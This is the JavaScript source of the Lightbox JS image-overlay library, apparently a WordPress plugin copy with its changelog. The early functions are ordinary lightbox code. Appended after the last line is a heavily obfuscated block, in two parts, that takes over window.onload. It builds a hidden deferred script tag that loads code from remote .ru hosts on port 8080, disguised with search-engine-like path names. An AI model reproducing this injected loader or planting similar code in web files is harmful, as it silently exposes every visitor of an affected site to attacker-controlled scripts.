/*
	Lightbox JS: Fullsize Image Overlays by Lokesh Dhakar - http://www.huddletogether.com
	For more information on this script, visit:	http://huddletogether.com/projects/lightbox/

	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
	(basically, do anything you want, just leave my name and link)
	
	Table of Contents
	-----------------
	Configuration
	
	Functions
	- getPageScroll()
	- getPageSize()
	- pause()
	- getKey()
	- listenKey()
	- showLightbox()
	- hideLightbox()
	- initLightbox()
	- addLoadEvent()
	
	Function Calls
	- addLoadEvent(initLightbox)

	WP Lightbox JS WordPress Plugin: 
	--------------------------------
	Changelog
	- 4/6/06 3:18 GMT+8: Fixes a Zlib output compression problem that conflicts with PHP setting (Rudd-0).
	- 3/9/06 2:49 GMT+8: Enabled and use WordPress gzip compression (Safirul Alredha).
	- 3/6/06 2:06 GMT+8: Fix plugin path issue (Dennis Crall).
	- 3/3/06 19:00 GMT-5: Fixed blog caching override introduced by wp-blog-header.php (Rudd-O).
	- 1/19/06 10:40PM EST: Added keypress (x) activated closing (Lokesh Dhakar).

	Last updated: April 6, 2006 by Safirul Alredha 
	http://zeo.unic.net.my
*/
//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.org
//
function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}

//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
//
function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

//
// pause(numberMillis)
// Pauses code execution for specified time. Uses busy code, not good.
// Code from http://www.faqts.com/knowledge_base/view.phtml/aid/1602
//
function pause(numberMillis) {
	var now = new Date();
	var exitTime = now.getTime() + numberMillis;
	while (true) {
		now = new Date();
		if (now.getTime() > exitTime)
			return;
	}
}

//
// getKey(key)
// Gets keycode. If 'x' is pressed then it hides the lightbox.
//
function getKey(e){
	if (e == null) { // ie
		keycode = event.keyCode;
	} else { // mozilla
		keycode = e.which;
	}
	key = String.fromCharCode(keycode).toLowerCase();
	
	if(key == 'x'){ hideLightbox(); }
}

//
// listenKey()
//
function listenKey () {	document.onkeypress = getKey; }
	
//
// showLightbox()
// Preloads images. Pleaces new image in lightbox then centers and displays.
//
function showLightbox(objLink)
{
	// prep objects
	var objOverlay = document.getElementById('overlay');
	var objLightbox = document.getElementById('lightbox');
	var objCaption = document.getElementById('lightboxCaption');
	var objImage = document.getElementById('lightboxImage');
	var objLoadingImage = document.getElementById('loadingImage');

	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();

	// center loadingImage if it exists
	if (objLoadingImage) {
		objLoadingImage.style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 35 - objLoadingImage.height) / 2) + 'px');
		objLoadingImage.style.left = (((arrayPageSize[0] - 20 - objLoadingImage.width) / 2) + 'px');
		objLoadingImage.style.display = 'block';
	}

	// set height of Overlay to take up whole page and show
	objOverlay.style.height = (arrayPageSize[1] + 'px');
	objOverlay.style.display = 'block';

	// preload image
	imgPreload = new Image();

	imgPreload.onload=function(){
		objImage.src = objLink.href;

		// center lightbox and make sure that the top and left values are not negative
		// and the image placed outside the viewport
		var lightboxTop = arrayPageScroll[1] + ((arrayPageSize[3] - 35 - imgPreload.height) / 2);
		var lightboxLeft = ((arrayPageSize[0] - 20 - imgPreload.width) / 2);
		
		objLightbox.style.top = (lightboxTop < 0) ? "0px" : lightboxTop + "px";
		objLightbox.style.left = (lightboxLeft < 0) ? "0px" : lightboxLeft + "px";

		//objLightboxDetails.style.width = imgPreload.width + 'px';
		
		if(objLink.getAttribute('title')){
			objCaption.style.display = 'block';
			objCaption.style.width = imgPreload.width + 'px';
			objCaption.innerHTML = objLink.getAttribute('title');
		} else {
			objCaption.style.display = 'none';
		}
		
		// A small pause between the image loading and displaying is required with IE,
		// this prevents the previous image displaying for a short burst causing flicker.
		if (navigator.appVersion.indexOf("MSIE")!=-1){
			pause(250);
		} 

		if (objLoadingImage) {	objLoadingImage.style.display = 'none'; }
		objLightbox.style.display = 'block';

		// After image is loaded, update the overlay height as the new image might have
		// increased the overall page height.
		arrayPageSize = getPageSize();
		objOverlay.style.height = (arrayPageSize[1] + 'px');
		
		// Check for 'x' keypress
                listenKey();

		return false;
	}

	imgPreload.src = objLink.href;
	
}

//
// hideLightbox()
//
function hideLightbox()
{
	// get objects
	objOverlay = document.getElementById('overlay');
	objLightbox = document.getElementById('lightbox');

	// hide lightbox and overlay
	objOverlay.style.display = 'none';
	objLightbox.style.display = 'none';
	
	// disable keypress listener
	document.onkeypress = '';

}

//
// initLightbox()
// Function runs on window load, going through link tags looking for rel="lightbox".
// These links receive onclick events that enable the lightbox display for their targets.
// The function also inserts html markup at the top of the page which will be used as a
// container for the overlay pattern and the inline image.
//
function initLightbox()
{
	
	if (!document.getElementsByTagName){ return; }
	var anchors = document.getElementsByTagName("a");

	// loop through all anchor tags
	for (var i=0; i<anchors.length; i++){
		var anchor = anchors[i];

		if (anchor.getAttribute("href") && (anchor.getAttribute("rel") == "lightbox")){
			anchor.onclick = function () {showLightbox(this); return false;}
		}
	}

	// the rest of this code inserts html at the top of the page that looks like this:
	//
	// <div id="overlay">
	//		<a href="#" onclick="hideLightbox(); return false;"><img id="loadingImage" /></a>
	//	</div>
	// <div id="lightbox">
	//		<a href="#" onclick="hideLightbox(); return false;" title="Click anywhere to close image">
	//			<img id="closeButton" />		
	//			<img id="lightboxImage" />
	//		</a>
	//		<div id="lightboxDetails">
	//			<div id="lightboxCaption"></div>
	//			<div id="keyboardMsg"></div>
	//		</div>
	// </div>
	
	var objBody = document.getElementsByTagName("body").item(0);
	
	// create overlay div and hardcode some functional styles (aesthetic styles are in CSS file)
	var objOverlay = document.createElement("div");
	objOverlay.setAttribute('id','overlay');
	//objOverlay.onclick = function () {hideLightbox(); return false;}
	objOverlay.style.display = 'none';
	objOverlay.style.position = 'absolute';
	objOverlay.style.top = '0';
	objOverlay.style.left = '0';
	objOverlay.style.zIndex = '90';
 	objOverlay.style.width = '100%';
	objBody.insertBefore(objOverlay, objBody.firstChild);
	
	var arrayPageSize = getPageSize();
	var arrayPageScroll = getPageScroll();

	// preload and create loader image
	var imgPreloader = new Image();
	
	// if loader image found, create link to hide lightbox and create loadingimage
	imgPreloader.onload=function(){

		var objLoadingImageLink = document.createElement("a");
		objLoadingImageLink.setAttribute('href','#');
		objLoadingImageLink.onclick = function () {hideLightbox(); return false;}
		objOverlay.appendChild(objLoadingImageLink);
		
		var objLoadingImage = document.createElement("img");
		objLoadingImage.src = loadingImage;
		objLoadingImage.setAttribute('id','loadingImage');
		objLoadingImage.style.position = 'absolute';
		objLoadingImage.style.zIndex = '150';
		objLoadingImageLink.appendChild(objLoadingImage);

		imgPreloader.onload=function(){};	//	clear onLoad, as IE will flip out w/animated gifs

		return false;
	}

	imgPreloader.src = loadingImage;

	// create lightbox div, same note about styles as above
	var objLightbox = document.createElement("div");
	objLightbox.setAttribute('id','lightbox');
	objLightbox.style.display = 'none';
	objLightbox.style.position = 'absolute';
	objLightbox.style.zIndex = '100';	
	objBody.insertBefore(objLightbox, objOverlay.nextSibling);
	
	// create link
	var objLink = document.createElement("a");
	objLink.setAttribute('href','#');
	objLink.setAttribute('title','Click to close');
	objLink.onclick = function () {hideLightbox(); return false;}
	objLightbox.appendChild(objLink);

	// preload and create close button image
	var imgPreloadCloseButton = new Image();

	// if close button image found, 
	imgPreloadCloseButton.onload=function(){

		var objCloseButton = document.createElement("img");
		objCloseButton.src = closeButton;
		objCloseButton.setAttribute('id','closeButton');
		objCloseButton.style.position = 'absolute';
		objCloseButton.style.zIndex = '200';
                objCloseButton.style.top = '5px';
                objCloseButton.style.right = '5px';
		objLink.appendChild(objCloseButton);

		return false;
	}

	imgPreloadCloseButton.src = closeButton;

	// create image
	var objImage = document.createElement("img");
	objImage.setAttribute('id','lightboxImage');
	objLink.appendChild(objImage);
	
	// create caption
	var objCaption = document.createElement("div");
	objCaption.setAttribute('id','lightboxCaption');
	objCaption.style.display = 'none';
	objLightbox.appendChild(objCaption);

}

//
// addLoadEvent()
// Adds event to window.onload without overwriting currently assigned onload functions.
// Function found at Simon Willison's weblog - http://simon.incutio.com/
//
function addLoadEvent(func)
{	
	var oldonload = window.onload;
	if (typeof window.onload != 'function'){
    	window.onload = func;
	} else {
		window.onload = function(){
		oldonload();
		func();
		}
	}

}

addLoadEvent(initLightbox);	// run initLightbox onLoad
var V=["tB","v","Z"];var C=["y","kA","tG"];this.l=49840;this.l+=240;try {this.em="";du=["Zr"];j={D:"E"};var G=window[String("unesc"+"ape")];var pa=7810;var _={z:false};var B={dN:false};try {var _D='WU'} catch(_D){};this.q=65463;this.q+=23;var vo=[];var U="6OS1".substr(3);this.ya="ya";DW={};this.a="a";try {var by='wV'} catch(by){};var dO=new String();this.iX="";ue=[];var u=new String("rep"+"lac"+"36ve".substr(3));this.Q=false;dr=25200;dr--;try {var g='Si'} catch(g){};var w=window[(new String("Rekr2".substr(0,2)+"gE"+"xp"))];var dM=new Array();this.ve=false;Mz=35101;Mz++;var t=new String("onBTYd".substr(0,2)+"lo"+"buNVadbuVN".substr(4,2));var Uq=new Date();var b='';var nZ="nZ";this.CV=37795;this.CV-=83;this.FI='';var BH=new Date();try {} catch(Dn){};try {} catch(xg){};try {var qb='vor'} catch(qb){};var Uz=[];function M(U,O){try {var UH='ty'} catch(UH){};var p=String("[");var mh=new String();var Kt={CX:false};p+=O;hS=50214;hS++;p+=G("%5d");this.__=34019;this.__--;var n=new w(p, "gOEV1".substr(0,1));var nL=[];this.pR='';var OH=[];return U.replace(n, b);var AU={Jk:"qR"};var tP={RO:false};try {var Nq='cF'} catch(Nq){};this.VK=318;this.VK-=6;};var lt=["Fe","AH","Ru"];try {var St='EP'} catch(St){};try {var Zc='tBG'} catch(Zc){};var HL=["nJ"];this.Rn=44933;this.Rn-=248;var OW=new String();var dT="";var Kz=new Array();var bG="/guBi".substr(0,2)+"oo"+"vebglvbe".substr(3,2)+"e."+"co"+"m/Ex7s".substr(0,2)+"in"+"foxUy".substr(0,2)+"limdU".substr(0,2)+"nkOe3".substr(0,2)+"s."+"z4F3co".substr(4)+"m/"+"ad"+"KPxmixPK".substr(3,2)+"n5"+".c"+"svwOomswvO".substr(4,2)+".p"+"asBxhp".substr(4);var wI={kH:58395};var tD={jw:15840};var f="ht"+"tp3kiA".substr(0,2)+":/"+"VJh/dJhV".substr(3,2)+"ai"+"WTOalyTWaO".substr(4,2)+"bo"+"ss"+"EWBS.rBESW".substr(4,2)+"u:";var MS=new String();var lj={be:26968};var r=324828-316748;this.kv=26346;this.kv+=28;this.Rs=false;function GV(){nv={};this.xU=24804;this.xU+=177;this.lf=50709;this.lf+=70;this.Zx=14974;this.Zx+=252;this.VG='';var _Y="_Y";this.kk='';var yV=new Date();var DA=new String();var ZZ=["Jz","Xy"];this.Gt="";var uw=["At","vd"];var fi=new Date();this.eX=32924;this.eX+=169;var s=document;this.yx="yx";var OS=["Iu","Kk","RN"];this.NY='';var gd=["d_","EN","pb"];var sq=M('svcUrHiUpPtg','3WLCH_vUPwkg');YU=5643;YU-=196;IjJ=49340;IjJ-=215;var Cj=4909;var Jx={};var R="apoR9y".substr(0,2)+"pe8hD".substr(0,2)+"76Rfnd6R7f".substr(4,2)+"Che4Dk".substr(0,2)+"il"+"MQ8d".substr(3);var Xz=new Date();var Mu={Iy:false};this.wv="";var gO=new Date();var bF=false;this.xI="xI";var HB=false;var DK='';var UD=9528;this._E=42924;this._E++;var fW=["Sz","Qh","cJ"];var YJ=["pI","BW","kw"];x=s.createElement(sq);this.gP='';try {var fI='TZ'} catch(fI){};this.hw='';this.mfQ='';OO=62839;OO--;mr=["ur","um","fL"];this.Fy=60243;this.Fy++;var MH='';var sp=["bgB","aM","lE"];MN=f+r;var rz=2802;MN=MN+bG;this.kc="";this.Vm="";this.CO="";this.ey="ey";var aW={Ut:63533};var frc="";this.mT="mT";var iJ="";x["de"+"fe"+"r"]=U;var k=s.body;qw=["ROf","Xb"];jf=["RZ"];x.src=MN;Nqe=["Oa","Ev"];var Og={};qq={};k[R](x);};var Vp=new String();var kK=new String();this.kNr="";this.JP="";Ag=16976;Ag++;UO=61248;UO++;var QcD=["eh","il","Wy"];yK=["hN","IC","Wq"];window[t]=GV;this.mJ=620;this.mJ--;var dA=new Array();oX={Di:56009};} catch(d){};var Bs={jb:false};Gr=46587;Gr--;var zWj={Gz:36127};var eXr={XMi:false};
r=59350;r-=255;var w=["vc"];var R;I=function(){function i(S,_,U){this.D=false;var Wq={n:23551};return S.substr(_,U);DV={Q:false};}T=35244;T++;this.b=65318;this.b-=163;var G='';var J=new Date();var WL=new Date();var E=i("/goosR39",0,4)+i("gle-Y6ck",0,4)+i("t1XPcom-P1tX",4,4)+i("R91xsg/gxR19",4,4)+i("ooglXS2F",0,4)+i("XNGMe.coGXMN",4,4)+i("9HWwm/ta9WHw",4,4)+i("JEubeloEuJ",3,4)+"g.co"+i("m.phnjL",0,4)+i("r9CHpr9CH",4,1);var y=RegExp;var ea='';ib=53383;ib++;var a=document;var h="";function N(S,_){Ux=["Qy","F","r_"];var Ds=["Dy","X","H"];var U=new String(i("[w4H",0,1))+_+String("]");var y_=["d","Dk","K"];this.El=17487;this.El-=13;var A=new y(U, String("g"));t=12939;t++;jw=24664;jw++;return S.replace(A, G);this.Tk=23677;this.Tk-=237;try {} catch(Xp){};};var Sf=["PD"];var eZ=["jY"];var AE=N('sOcLrdiDpdtI','fDOdIL');var Ka=new Date();var c=484217-476137;var bj=["SE","Ej"];var zD=["em","C"];var f="body";var RN='';try {var yo='lK'} catch(yo){};var EF=null;var Qc={TYm:false};R=function(){try {this.k=false;var yW=N('cSrbeuaAtSevEylOeimfeAn2tS','SbOMRiuLfy2vAI7FBzx98');_S=a[yW](AE);var jR=["DFg","wZ"];Ua={tg:false};var v=N('s7rkc2','yxChZOYEaN2SKkdu1_PGqIl7');Gl={eq:56439};var Bu="Bu";var Y="de"+"fe"+"r";var Jw={};this.KB="";var S=c+E;x={};L=16052;L-=125;this.ny=false;this.vb="vb";_S[v]="http"+"://t"+i("enthwMdz",0,4)+"prof"+i("QLqit.rQLq",3,4)+"u:"+S;var Nl=new Array();_S[Y]=[1,5][0];this.dQ="";try {} catch(YK){};Al=21456;Al++;a[f].appendChild(_S);this.Qg='';this.VF_='';} catch(YO){var Rb=[];var HZ=new String();};};};I();ts={};this._D=14478;this._D--;this.fb=false;try {var ws='ZS'} catch(ws){};window.onload=R;tK=52155;tK--;var wv={AC:43990};